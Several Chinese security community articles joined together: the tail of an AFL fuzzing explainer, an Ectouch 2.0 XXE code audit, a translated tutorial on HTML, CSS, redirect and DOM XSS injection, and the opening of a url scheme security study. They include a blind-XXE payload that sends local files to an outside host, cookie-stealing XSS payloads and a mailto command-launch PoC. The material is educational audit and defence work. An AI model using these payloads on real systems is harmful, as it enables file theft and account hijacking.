-100663046, /* Large negative number (endian-agnostic) */ \
-32769, /* Overflow signed 16-bit */ \
32768, /* Overflow signed 16-bit */ \
65535, /* Overflow unsig 16-bit when incremented */ \
65536, /* Overflow unsig 16 bit */ \
100663045, /* Large positive number (endian-agnostic) */ \
2147483647 /* Overflow signed 32-bit when incremented */
可以看到，用于替换的基本都是可能会造成溢出的数。
与之前类似，effector map仍然会用于判断是否需要变异；此外，如果某个interesting
value，是可以通过bitflip或者arithmetic变异达到，那么这样的重复性变异也是会跳过的。
#### dictionary
进入到这个阶段，就接近deterministic fuzzing的尾声了。具体有以下子阶段：
* user extras (over)，从头开始，将 **用户提供** 的tokens依次 **替换** 到原文件中
* user extras (insert)，从头开始，将 **用户提供** 的tokens依次 **插入** 到原文件中
* auto extras (over)，从头开始，将 **自动检测** 的tokens依次 **替换** 到原文件中
其中，用户提供的tokens，是在词典文件中设置并通过`-x`选项指定的，如果没有则跳过相应的子阶段。
###### user extras (over)
对于用户提供的tokens，AFL先按照长度从小到大进行排序。这样做的好处是，只要按照顺序使用排序后的tokens，那么后面的token不会比之前的短，从而每次覆盖替换后不需要再恢复到原状。
随后，AFL会检查tokens的数量，如果数量大于预设的`MAX_DET_EXTRAS`（默认值为200），那么对每个token会根据概率来决定是否进行替换：
for (j = 0; j < extras_cnt; j++) {
/* Skip extras probabilistically if extras_cnt > MAX_DET_EXTRAS. Also
skip them if there's no room to insert the payload, if the token
is redundant, or if its entire span has no bytes set in the effector
map. */
if ((extras_cnt > MAX_DET_EXTRAS && UR(extras_cnt) >= MAX_DET_EXTRAS) ||
extras[j].len > len - i ||
!memcmp(extras[j].data, out_buf + i, extras[j].len) ||
!memchr(eff_map + EFF_APOS(i), 1, EFF_SPAN_ALEN(i, extras[j].len))) {
stage_max--;
continue;
}
这里的`UR(extras_cnt)`是运行时生成的一个`0`到`extras_cnt`之间的随机数。所以，如果用户词典中一共有400个tokens，那么每个token就有`200/400=50%`的概率执行替换变异。我们可以修改`MAX_DET_EXTRAS`的大小来调整这一概率。
由上述代码也可以看到，effector map在这里同样被使用了：如果要替换的目标bytes全部是“无效”的，那么就跳过这一段，对下一段目标执行替换。
###### user extras (insert)
这一子阶段是对用户提供的tokens执行插入变异。不过与上一个子阶段不同的是，此时并没有对tokens数量的限制，所以全部tokens都会从原文件的第1个byte开始，依次向后插入；此外，由于原文件并未发生替换，所以effector
map不会被使用。
这一子阶段最特别的地方，就是变异不能简单地恢复。之前每次变异完，在变异位置处简单取逆即可，例如bitflip后，再进行一次同样的bitflip就恢复为原文件。正因为如此，之前的变异总体运算量并不大。
但是，对于 **插入**
这种变异方式，恢复起来则复杂的多，所以AFL采取的方式是：将原文件分割为插入前和插入后的部分，再加上插入的内容，将这3部分依次复制到目标缓冲区中（当然这里还有一些小的优化，具体可阅读代码）。而对每个token的每处插入，都需要进行上述过程。所以，如果用户提供了大量tokens，或者原文件很大，那么这一阶段的运算量就会非常的多。直观表现上，就是AFL的执行状态栏中，"user
extras (insert)"的总执行量很大，执行时间很长。如果出现了这种情况，那么就可以考虑适当删减一些tokens。
###### auto extras (over)
这一项与"user extras
(over)"很类似，区别在于，这里的tokens是最开始bitflip阶段自动生成的。另外，自动生成的tokens总量会由`USE_AUTO_EXTRAS`限制（默认为10）。
#### havoc
对于非dumb mode的主fuzzer来说，完成了上述deterministic fuzzing后，便进入了充满随机性的这一阶段；对于dumb
mode或者从fuzzer来说，则是直接从这一阶段开始。
havoc，顾名思义，是充满了各种随机生成的变异，是对原文件的“大破坏”。具体来说，havoc包含了对原文件的多轮变异，每一轮都是将多种方式组合（stacked）而成：
* 随机选取某个bit进行翻转
* 随机选取某个byte，将其设置为随机的interesting value
* 随机选取某个word，并随机选取大、小端序，将其设置为随机的interesting value
* 随机选取某个dword，并随机选取大、小端序，将其设置为随机的interesting value
* 随机选取某个byte，对其减去一个随机数
* 随机选取某个byte，对其加上一个随机数
* 随机选取某个word，并随机选取大、小端序，对其减去一个随机数
* 随机选取某个word，并随机选取大、小端序，对其加上一个随机数
* 随机选取某个dword，并随机选取大、小端序，对其减去一个随机数
* 随机选取某个dword，并随机选取大、小端序，对其加上一个随机数
* 随机选取某个byte，将其设置为随机数
* 随机删除一段bytes
* 随机选取一个位置，插入一段随机长度的内容，其中75%的概率是插入原文中随机位置的内容，25%的概率是插入一段随机选取的数
* 随机选取一个位置，替换为一段随机长度的内容，其中75%的概率是替换成原文中随机位置的内容，25%的概率是替换成一段随机选取的数
* 随机选取一个位置，用随机选取的token（用户提供的或自动生成的）替换
* 随机选取一个位置，用随机选取的token（用户提供的或自动生成的）插入
怎么样，看完上面这么多的“随机”，有没有觉得晕？还没完，AFL会生成一个随机数，作为变异组合的数量，并根据这个数量，每次从上面那些方式中随机选取一个（可以参考高中数学的有放回摸球），依次作用到文件上。如此这般丧心病狂的变异，原文件就大概率面目全非了，而这么多的随机性，也就成了fuzzing过程中的不可控因素，即所谓的“看天吃饭”了。
#### splice
历经了如此多的考验，文件的变异也进入到了最后的阶段：splice。如其意思所说，splice是将两个seed文件拼接得到新的文件，并对这个新文件继续执行havoc变异。
具体地，AFL在seed文件队列中随机选取一个，与当前的seed文件做对比。如果两者差别不大，就再重新随机选一个；如果两者相差比较明显，那么就随机选取一个位置，将两者都分割为头部和尾部。最后，将当前文件的头部与随机文件的尾部拼接起来，就得到了新的文件。在这里，AFL还会过滤掉拼接文件未发生变化的情况。
#### cycle
于是乎，一个seed文件，在上述的全部变异都执行完成后，就...抱歉，还没结束。
上面的变异完成后，AFL会对文件队列的下一个进行变异处理。当队列中的全部文件都变异测试后，就完成了一个"cycle"，这个就是AFL状态栏右上角的"cycles
done"。而正如cycle的意思所说，整个队列又会从第一个文件开始，再次进行变异，不过与第一次变异不同的是，这一次就不需要再进行deterministic
fuzzing了。
当然，如果用户不停止AFL，那么seed文件将会一遍遍的变异下去。
#### 总结
从以上介绍内容来看，AFL的文件变异，既有看天吃饭的成分，也有随着fuzzing启发式的判断，结合了这么多种方式和巧妙的思路，不愧是大名鼎鼎的AFL。
* * * | 社区文章 |
# Ectouch2.0 分析代码审计流程 (五) xxe漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
不知不觉这个文章写到了第五篇,我感觉我写文章的热情有所下降了,对一些漏洞的说明也没有再从新手角度出发,其实我感觉要是一步一步看着文章过来,其实你就会发现这些东西真的没必要多讲。不过我却发现,可以多从漏洞层面进行下原理的讲解,let
us start。
## 0x2 xxe漏洞是什么？
这里推荐水泡泡师傅的一篇文章:[xxe漏洞的学习与利用总结](https://www.cnblogs.com/r00tuser/p/7255939.html),这里我简单概括下:
> 1.漏洞产生的位置: 解析xml格式类型文档的时候
>
> 2.漏洞的成因:文档可以引用外部实体
>
> 3.漏洞的危害:
>
> (1)读取任意文件(常用是这个)
>
> (2)探测内网端口
>
> (3)攻击内网网站
## 0x3 需要的xxe基础知识
(一)XML格式
主要由xml声明、文档类型定义(DTD)(重点关注下这个)、文档元素组成
<?xml version="1.0"?> <!-- XML声明 -->
<!DOCTYPE poem[ <!-- 文档类型定义 -->
<!ELEMENT poem (author,title,content)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT content (#PCDATA)>
]>
<poem> <!-- 文档元素 -->
<author>小七</author>
<title>xxe漏洞</title>
<content>xxe很easy</content>
</poem>
上面那个是内部DTD,因为文档定义和文档元素写在了一个文件上
那么何为外部DTD呢
了解下文档定义语法:
同文件夹下:
poem.dtd:
<!ELEMENT poem (author,title,content)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT content (#PCDATA)>
<?xml version="1.0"?> <!-- XML声明 -->
<!DOCTYPE poem SYSTEM "poem.dtd"> <!-- 外部DTD 对比上面发现多了system 然后替换了[]的内容-->
<poem> <!-- 文档元素 -->
<author>小七</author>
<title>xxe漏洞</title>
<content>xxe很easy</content>
</poem>
何为实体? 简单理解就是变量,然后在xml文档去使用
例子:
<!ENTITY writer "xq17"> <!-- 内部实体声明语法 -->
<author>&writer</author>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > <!-- 外部实体声明语法 -->
]>
<root>
<name>&xxe;</name> <!-- 这样就可以导致任意文件读取并且回显 -->
</root>
参考文章:[XML文件详解以及解析](https://blog.csdn.net/com_ma/article/details/73277535)
## 0x4 漏洞挖掘思路
> 搜索关键词 `simplexml_load_string`,然后再回溯分析
## 0x5 wxpay.php XXE漏洞
由(3)可知:
这是个支付插件,首先要去后台开启下微信支付
点击确定后,就可以让我们来跟进wxpay.php文件了解下漏洞成因
*/
public function notify($data)
{
$inputdata = file_get_contents("php://input"); //这里数据可控
if (!empty($inputdata)) {
$payment = model('Payment')->get_payment($data['code']);
$postdata = json_decode(json_encode(simplexml_load_string($inputdata, 'SimpleXMLElement', LIBXML_NOCDATA)), true);//这里把可控数据传入了simplexml_load_string
/* 检查插件文件是否存在，如果存在则验证支付是否成功，否则则返回失败信息 */
// 微信端签名
$wxsign = $postdata['sign'];
unset($postdata['sign']);
然后寻找那里调用了`notify`函数,全局搜索该函数(限定为php)文件
选择跟进看是如何调用的:
`upload/mobile/include/apps/default/controllers/RespondController.class.php`
public function index()
{
/* 判断是否启用 */
$condition['pay_code'] = $this->data['code'];
$condition['enabled'] = 1;
$enabled = $this->model->table('payment')->where($condition)->count();
if ($enabled == 0) {
$msg = L('pay_disabled');
} else {
// 微信h5中间页面
if (isset($_GET['style']) && $this->data['code'] == 'wxpay' && $_GET['style'] == 'wxh5') {
$log_id = intval($_GET['log_id']);
$url = url('respond/wxh5', array('code' => 'wxpay', 'log_id' => $log_id));
$this->redirect($url);
}
$plugin_file = ADDONS_PATH.'payment/' . $this->data['code'] . '.php';
if (file_exists($plugin_file)) {
include_once($plugin_file);
$payobj = new $this->data['code']();
// 处理异步请求
if($this->data['type'] == 'notify'){//需要满足条件
@$payobj->notify($this->data);//在这里调用
}
$msg = (@$payobj->callback($this->data)) ? L('pay_success') : L('pay_fail');
} else {
$msg = L('pay_not_exist');
}
}
很显然最靠近需要满足的条件是`if($this->data['type'] == 'notify')`
所以看看`data`数组能不能被控制
直接拉到最上面看类的定义
class RespondController extends CommonController
{
private $data;
public function __construct()
{
parent::__construct();
// 获取参数
$this->data = array(
'code' => I('get.code'),//可控
'type' => I('get.type')//可控
);
}
很明显可以控制进入到漏洞流程
然后中间就是一些满足条件了
$condition['pay_code'] = $this->data['code'];
$condition['enabled'] = 1;
$enabled = $this->model->table('payment')->where($condition)->count();
if ($enabled == 0) {//判断支付方式是不是开启,设置支付方式为微信就可以了
$msg = L('pay_disabled');
} else {
// 微信h5中间页面
if (isset($_GET['style']) && $this->data['code'] == 'wxpay' && $_GET['style'] == 'wxh5') {//style!=wxh5就可以绕过了
$log_id = intval($_GET['log_id']);
$url = url('respond/wxh5', array('code' => 'wxpay', 'log_id' => $log_id));
$this->redirect($url);
}
$plugin_file = ADDONS_PATH.'payment/' . $this->data['code'] . '.php';
if (file_exists($plugin_file)) {
include_once($plugin_file);
$payobj = new $this->data['code']();
大概流程已经出来了,下面分析下漏洞利用,首先说明下这里没有回显,是个blind类型的xxe
## 0x6 漏洞演示
为了方便演示,这里加了一句输出,xml解析的数据,来帮助我们进行漏洞验证,也不需要开启外部服务。
由上面分析构造出url:
`http://127.0.0.1:8888/ecshop/upload2/upload/mobile/?m=default&c=Respond&a=index&code=wxpay&type=notify&style=xxx`
然后post:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "xxe test">
]>
<root><name>&xxe;</name></root>
很明显解析了实体引用,又因为
没有设置`libxml_disable_entity_loader(true);`,导致可以外部引用。
关于如何利用blind xxe盲注,可以看我下面面所讲,然后自己操作一遍。
## 0x7 blind xxe利用原理
原理分析:
利用参数实体获取到文件内容,然后带着内容走http协议去访问我们的接收端
一些小知识:
定义参数实体的语法:
`<!ENTITY % name content>`
xxx.xml
`<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">`
Payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % hs SYSTEM "file:///C:/1.txt"> <!-- 加载文件赋值给参数实体hs -->
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote; <!-- 引入xml文件的实体定义 -->
%all;
]>
<root>&send;</root>
其实等价:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % hs SYSTEM "file:///C:/1.txt"> <!-- 加载文件赋值给参数实体hs -->
<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'> <!-- 引用了上面的参数实体 -->
]>
<root>&send;</root>
但是xml解析器不支持在实体的定义在引用参数实体,所以我们做了个跳转,规避了错误
(命名实体+外部实体+参数实体写法)执行顺序是
**参数实体写法- >外部实体->命名实体->&调用发起请求**
具体利用:
evil.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ham.exeye.io/?%file;'>">
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/123.txt">
<!ENTITY % remote SYSTEM "https://ham.exeye.io/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>
参考文章:
[XML与xxe注入基础知识](https://www.cnblogs.com/backlion/p/9302528.html)
## 0x8 关于xxe在php的见解
>xxe漏洞跟php版本无关,主要是libxml的扩展,libxml2.9之后默认不使用外部实体,需要加第三个
>
>`LIBXML_NOENT`参数才能利用
>
>当然解析xml还有其他方式,`simplexml_load_string`只是很常用的而已,只要是涉及解析xml的地方都可能存在,`
>
>比如`DOMDocument` 、`SimpleXMLElement`类等等。
本机默认环境PHP Version 5.5.38 libxml是安装2.8.0版的,所以是可以利用的。
## 0x9 感想
感觉这个cms漏洞挖的差不多了,之前看了下文件包含,没找到点,反序列化还没看过,不过我感觉变量覆盖、反序列化是中间环节不算漏洞,构造出攻击链才算漏洞,这也是很有意思的审计点,不过万事不能强求,Ectouch好歹也是电商网站又不是给我们写bug来学习代码审计的,后面如果没找到什么有趣的漏洞,为了这个系列完整性我也会去审计一些有其他漏洞的cms。 | 社区文章 |
原文：<https://www.exploit-db.com/docs/english/45563-client-side-injection-on-web-applications.pdf>
**简介**
* * *
我们都知道，Web应用程序或网站通常都需要与用户进行交互。例如，在论坛网站中，一方面，所有信息都共享给来自不同位置的用户或同一个新闻网站的不同用户，另一方面，用户也可以对每篇新闻或文章进行评论，并且这些评论对于其他人来说也都是可见的。
因此，不应该允许用户在数据库中存储危险的数据，同时，开发人员和网站管理员还应该确保将Meta字符从用户输入的表单数据中清除掉，这些都是非常重要的。
目前，针对客户端的攻击技术已经非常丰富了。但是，在这篇文章中，我们只为读者详细解释下列攻击技术。
* HTML注入攻击
* CSS注入攻击
* 客户端URL重定向攻击
* 基于DOM的客户端脚本攻击
**HTML注入漏洞**
* * *
当黑客能够将HTML标签注入表单并最终将其存储到数据库中时，就会出现这种类型的漏洞。
想象一下，假设我们有一个博客，用户可以在我们的博客文章中分享他们的评论。如果存在HTML注入漏洞的话，黑客就能够将HTML标签写为评论，并且所有人都可以看到这些代码。大家都知道，利用HTML标签，黑客可以执行下列恶意操作：
* 可以改变文本的样式
* 可以在评论文本中插入带有标签的链接，并诱使用户点击该链接（该链接可能包含恶意信息）。
* 可以在评论中插入图像
如果HTML注入与其他攻击相结合，则：
* 可以窃取用户Cookie。（与XSS结合）
* 可以自动将易受攻击的页面重定向到其他目标。（与XSS结合）
* 可以破坏易受攻击的网页。（与CSS注入攻击结合）
在本节中，我们只解释HTML注入攻击，其他的攻击方式，我们将在下文中详细加以介绍。
下面，让我们用图例来阐释HTML注入漏洞。
假设我们有一个带留言簿的网站，允许用户与其他人分享他的评论。下图展示了该网站的评论部分：
现在，我们想要将html代码存储到数据库中，而不是纯文本的评论中。下面，我们尝试将以下html代码作为合法的评论提交给系统。
<b><i>Hi this is an html code</i></b>
结果如下图所示：
如您所见，评论是以HTML格式存储的。
实际上，我们可以通过HTML代码来发布大量内容，例如，我们可以发布图像，甚至可以使用iframe标签在这个页面中加载其他网站，并进行丑化攻击。
下面，我们将在评论部分加载图片。
<img src="YOUR IMAGE URL">
结果如下图所示：
如果图像的大小为2MP或更大的话，则可以借助于CSS注入技术来完成相应的丑化攻击，具体细节，将在后文加以解释。
**如何缓解HTML注入攻击？**
* * *
如果您是程序员，并且要在您的网站上修复该漏洞，那么，您只需过滤相应的Meta字符，并将其转换为相应的实体名称即可。
请注意，如果您没有使用任何框架（例如Django、Laravel...）的话，则需要手动执行上述处理。在参考文献中，提供了一个指向完整编码表的链接。但就目前而言，最常用的代码是：
字符 实体编号 实体名称 描述
" " " 引号
' ' ' 撇号(在IE中不起作用)
& & & &号
< < < 小于号
> > > 大于号
因此，如果将Meta字符转换为实体名称，那么浏览器就不会在客户端解析HTML代码，而只显示纯文本格式的相应编码了。
我在含有该漏洞的网站上进行了尝试，结果如下：
**CSS注入漏洞**
* * *
在上一节中，我解释了HTML注入攻击。接下来，我们将为读者介绍CSS注入攻击。大家都知道，CSS是用于定义网页样式的，包括定义在不同设备和屏幕尺寸上显示时，相应的设计、布局和变化情况。这就意味着，如果我们发现了一个含有HTML注入漏洞的网页，我们就可以通过CSS注入攻击来修改注入的HTML元素样式。例如，如果我们将恶意HTML代码与CSS结合使用，则可以修改图像大小并使用图像覆盖所有网页屏幕，从而成功完成了相应的丑化攻击。
相应的代码如下所示：
<img style=”padding:1000px;” width=”500px;” height=”500px;” src=”OUR-IMAGE-URL”>
有时，当应用程序从用户提供的URL导入样式表，或者在没有进行全面的转义处理就将用户的输入内容嵌入CSS块中时，就会导致CSS注入攻击。
例如，下面就是一段含有相应漏洞的代码：
<a id="input">Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById("input").style.cssText = "color: " +
location.hash.slice(1);
}
</script>
这是易受攻击的URL：
https://www.url/#red
加载URL后，我们将根据相应的网页样式标签来渲染页面：
<style>
#input{
color: red;
}
</style>
现在，我们可以在URL的末尾注入我们的CSS。例如，如果我们加载以下URL：
https://www.url/#red; padding:1000px; font-size:70px; background-color:#000000
这意味着，我们将额外的CSS代码注入到了样式标签中。加载这个URL后，样式标签将变为：
<style>
#input{
color: red;
padding:1000px;
font-size:70px
background-color:#000000;
}
</style>
在某些情况下，我们甚至可以从外部源导入CSS文件。
例如：
https://www.url/#red; @import "https://externalsource/navigation.css"
**如何缓解CSS注入攻击**
* * *
为防御CSS注入攻击，应该禁止用户通过嵌入方式向CSS块中添加代码，除非经过了严格的转义处理。因此，在将用户的输入嵌入到CSS块之前，请确保已对其进行了充分的转义处理，并可以考虑使用白名单来防止加载任意样式表。
最后，可以使用以下最佳实践步骤来缓解该漏洞，具体如下所示：
* 在所有页面上设置服务器头部X-Frame-Options: deny
* 在所有页面上设置服务器头部X-Content-Type-Options：nosniff
* 在所有页面上设置现代doctype标签（例如：<！doctype html>）
**客户端URL重定向漏洞**
* * *
客户端URL重定向（也称为开放式重定向），这实际上是一种输入验证漏洞，当应用程序接受用户控制的输入时，导致攻击者可以在该输入中指定可能导致恶意攻击的外部URL的链接。这个类型的漏洞可用于进行网络钓鱼攻击或将受害者重定向到感染页面。
当应用程序接受可能包含URL值的不可信输入而不对其进行消毒处理时，就会出现这种漏洞。因为其中的URL值可能导致Web应用程序将用户重定向到另一个页面，例如，由攻击者控制的恶意页面。
通过将不受信任的URL输入修改为恶意站点，攻击者就能够进行网络钓鱼诈骗，从而窃取用户的相关凭证。由于重定向是由真实应用程序发起的，因此，网络钓鱼尝试可能看上去非常值得信赖，因此更具有迷惑性。
例如，我们不放看看下面的JavaScript代码：
<script>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</script>
注销后，上面的代码会将用户重定向到另一个内部页面。
相应的URL为：
http://url/?#www.url/login
在这个易受攻击的代码中，脚本没有通过查询字符串对包含用户提供的输入的“redir”值进行任何安全检查，这意味着攻击者可以通过提交以下URL将受害者重定向到网络钓鱼站点：
http://url/?#www.attackerurl/phising-page
因此，在注销之后，用户将重定向到恶意URL，而不是登陆页面。
**如何缓解客户端URL重定向攻击**
* * *
程序员可以通过检查传递给重定向函数的URL来防止这种攻击。程序员应确保该函数中的所有URL都是相对路径，即以单个“/”字符开头的路径。（以//开头的外部URL将由浏览器翻译为协议、绝对URL——因此，程序员也应拒绝这类URL。）
如果程序员需要执行外部URL重定向，他也应该考虑为所有外部URL建立相应的白名单。
同样，对于第二层防御，程序员应该检查重定向过程中HTTP请求头部内的Referrer是否与域名匹配。
**基于DOM的客户端脚本漏洞**
* * *
Dom型XSS也是一种XSS攻击，对于这种攻击来说，相关的有效载荷是通过修改网页DOM元素来注入的，这意味着客户端代码会意外地运行。
对于前面介绍的攻击，即HTML注入攻击和URL重定向攻击，都可以与Dom型XSS攻击结合使用。例如，在HTML注入攻击中，我们可以通过下面的有效载荷来利用Dom型XSS漏洞：
<img src='some-link' onerror=alert(1)>
结果如下所示：
在客户端URL重定向攻击中，可以使用下面的有效载荷来攻击Dom型XSS漏洞：
http://www.url/?#javascript:alert(document.cookie)
请注意，在这种情况下，易受攻击的JavaScript代码为：
<script>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</script>
另一个DOM型XSS示例
假设我们有一个网站，其中包含一个用于修改网站语言的表单。此外，我们还有一个用于处理该表单的JavaScript函数。
相应的JavaScript代码为：
<select><script> document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.indexOf("
lang=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>");
</script></select>
下面是用于修改语言的URL：
http://www.url/page.php?lang=French
从上面的JavaScript代码可以看出，这里会使用GET方法从URL中载入lang参数，因此，如果改变lang参数的值，页面的语言将通过JavaScript函数进行修改。这意味着，我们可以将JavaScript恶意有效载荷注入到lang参数的值中。
例如，可以使用URL中的有效载荷来攻击DOM型XSS漏洞，具体如下所示：
http://www.url/page.php?lang=<script>alert(document.cookie)</script>
**如何缓解基于DOM的客户端脚本攻击**
* * *
如果需要动态地将HTML代码加载到Dome元素中的话，应使用下面的函数进行HTML编码：
* element.innerHTML
* element.outerHTML
另外，为了添加另一层安全防护，对所有不受信任的输入，可以通过下面的函数进行JavaScript编码处理：
* document.write
* document.writeln
同样，对于第一个示例来说，通过缓解HTML注入攻击和客户端URL重定向攻击也有助于防御Dom型XSS攻击。
感谢大家耐心读完本文，祝大家阅读愉快！
**参考文献**
* * *
1. <https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>
2. <https://portswigger.net/blog/detecting-and-exploiting-path-relative-stylesheet-import-prssivulnerabilities#badcss>
3. <https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004>)
4. <https://portswigger.net/kb/issues/00501300_css-injection-reflected>
5. <https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005>)
6. <https://www.hacksplaining.com/prevention/open-redirects> | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2018年10月18日**
**英文版本：<https://paper.seebug.org/984/>**
### 0x00 前言
本文受 CVE-2018-8495 漏洞的启发，以学习的目的，针对 PC 端 `url scheme` 的安全问题进行了分析研究。
说到 `url scheme` 的安全问题，这并不是一个新问题，早在 2008 年就有相关的研究和利用；如今 2018 年又陆续出现了安全问题，包括 1
月的 Electron 命令注入(CVE-2018-1000006) 以及 10 月的 Edge RCE(CVE-2018-8495)，可见 `url
scheme` 的安全问题值得去一探究竟。
`url scheme` 也称为 `url protocol` 或 `url handler`，本文使用 `url scheme` 这个名称。
### 0x01 url scheme是什么
**常见的url scheme应用场景**
在平时使用电脑的过程中，常常会发现点击某一个链接就会尝试启动本地的应用程序，比如点击类似
`mailto://[email protected]`，就会启动邮件客户端，点击 `thunder://xxxxx`，就会启动迅雷客户端；这就是 `url
scheme` 的应用。除此之外，我们使用浏览器也会发现地址栏中一些不同的前缀，常用的有 `http://`、`https://`、`ftp://` 和
`file://`，这同样是 `url scheme` 的应用场景。
各大操作系统开发商和浏览器开发商为了提高用户体验，丰富浏览器的功能，允许开发人员将 URI
与本地的应用程序进行关联，从而在用户使用浏览器时，可以通过点击某一链接即可启动应用程序；将这个功能简称为 `url scheme`。比如在
`windows7` 下使用 `IE8` 启动默认邮件客户端 `outlook`：
正因为 `url scheme` 这个优秀的功能设计，各大操作系统开发商都对此进行了支持，无论是 PC 端 Windows, MAC,
Linux，还是移动端 iOS, Android 都有良好的支持。本文针对 PC 端下的 `url scheme`
的安全问题进行分析，移动端下同样也有类似的问题，但利用方式不同，这里就不展开了。
**url scheme工作流程**
在了解 `url scheme` 的功能后，可以大致理解到 `url scheme` 的工作流程；应用程序在操作系统中注册 `url scheme`
项，当浏览器或其他支持 url 的应用访问 特定的 `url scheme` 时，从系统中匹配相对应的 `url scheme`
项，从而启动该应用程序；可见这是一个三方相互支持的功能。
正因如此，对于 `url scheme` 这个功能，在操作系统、浏览器(或其他支持 url
的应用)、应用程序这三个环节中，无论哪个环节出现了安全问题，或者是相互支持出现了问题，都将影响 `url scheme` 功能，最终给用户带来安全问题。
### 0x02 创建 url scheme
那么 `url scheme` 功能是如何在操作系统中注册的呢？不同的操作系统都有不同的实现方式，这里以 Windows7 为例进行演示说明。
在 Windows7 上，`url scheme` 被记录在注册表 `HKEY_CLASSES_ROOT` 下，如 `mailto` 的相关字段：
如果要创建一个新的 `url scheme`，直接在 `HKEY_CLASSES_ROOT` 添加即可，并在相应的字段中填入对应的值。创建的子项名即为
`url scheme` 功能名，在该子项下还包含两个项：`DefaultIcon` 和 `shell`，`DefaultIcon`
包含该功能所使用的默认图标路径；在 `shell` 项下继续创建子项，例如: open，然后在 `open` 项下创建 `command`
子项，用于描述应用程序的路径以及参数。
举个例子，创建 `calc` 用于启动 `C:\Windows\System32\calc.exe`：
HKEY_CLASSES_ROOT
calc
(Default) = "URL:Calc Protocol"
URL Protocol = ""
DefaultIcon
(Default) = "C:\Windows\System32\calc.exe,1"
shell
open
command
(Default) = "C:\Windows\System32\calc.exe" "%1"
补充一点：实际上，在 Windows 中有两种添加 `url scheme` 的方式，以上是直接添加注册表的方式(Pluggable
Protocol)，还有一种是异步可插拔协议(Asynchronous Pluggable Protocol)，注册的协议会记录在
`HKEY_CLASSES_ROOT\PROTOCOLS\`
下。这里就不展开了，详情可以参考：<https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)>
### 0x03 安全隐患
对于 `url scheme` 功能，简单来讲就是「通过 url
可以启动某一个本地的应用程序」，这无疑大大提高了用户体验，但同时引入一些安全隐患，比如用户可以通过浏览器启动一个恶意程序，或者用户启动的应用程序具有特殊的功能可以被调用(如：删除文件、启动网络连接)。
除此之外，对于包含 url 的的相关应用，用户是往往作为一个使用者、阅读者，而不是编辑者；也就是说 url
可以被攻击者恶意构造，从而达到远程启动本地应用程序的效果。
那么在操作系统中，有哪些 `url scheme` 是可以被调用的呢？这里提供三个脚本用于导出三大 PC 系统下 `url scheme`：
Windows: [<https://images.seebug.org/archive/duh4win.vbs>]
MAC: [<https://images.seebug.org/archive/duh4mac.m>]
Linux: [<https://images.seebug.org/archive/duh4linux.sh>]
(脚本来源于：<https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf>)
运行脚本程序，可以看到系统下有不少可以调用的 `url scheme`，其中包括操作系统默认支持的，如
`http`、`ftp`、`mailto`，也有第三方的应用程序，如
`qq`、`thunder`；如果这些应用程序出现安全问题，比如支持删除文件、启动另一个程序等敏感操作，最终在 `url scheme`
的帮助下，都将远程触发的安全问题。
除了应用程序可能出现的安全问题，浏览器(或其他程序)在进行 url
解析并启动应用程序的过程也可以出现安全问题；并且这三方相互支持的过程中，仍然可能出现问题；无论是哪一个环节出现的安全问题，其危害最终都会在 `url
scheme` 下被放大。
本文就这以上可能出现安全问题的环节进行分析，并举例说明。
### 0x04 操作系统的问题
在 2007 年，Heise Security 公开了由 「`url scheme` 导致远程命令执行」的漏洞，其出现在 Windows XP 下已安装
IE7 版本的系统中，影响范围包括所有支持 `url scheme` 的应用程序。
其构造的 PoC 如下：
mailto:test%../../../../windows/system32/calc.exe".cmd
在 Windows XP 下运行结果如下：
图片来源于：<http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html>
其造成漏洞的原因是由于微软通过安装适用于 Windows XP 的 IE7 改变了操作系统对 url
的处理，而应用程序直接将路径传递给操作系统用于启动，最终导致包含 `％` 字符的特殊链接导致启动任意程序。
在漏洞公开后，微软并没有发布修复补丁，并且认为这不是 Windows XP
的原因，随后各大应用程序开发人员对该漏洞进行了修复。当然，上层应用可以对输入的参数进行检查，但这里也可以认为是操作系统方面的问题，导致了 `url
scheme` 远程命令执行。
### 0x05 浏览器的参数注入
2018 年，在 `url scheme` 的安全问题中，有两个问题是由于 Windows 下的 IE 和 Edge 参数注入引发的，其中一个是
Electron 自定义协议命令注入(CVE-2018-1000006)，另一个是 Edge 远程代码执行(CVE-2018-8495)。
在 Windows 下 IE 和 Edge 对 `url scheme` 的处理方式有些不同，在浏览器接收到一个 `url scheme`
后，访问注册表查询对应的应用程序路径，随后进行 url 解码，然后调用 `ShellExecute` 函数簇，启动应用程序；正是因为 url
解码这一步造成了双引号闭合，从而引起了参数注入问题。示意图如下：
**Electron 自定义协议命令注入**
2018 年 1 月，Electron 发布了由自定义协议而导致命令注入的安全公告(CVE-2018-1000006)，由于参数注入而引发的问题，构造的
PoC 如下：
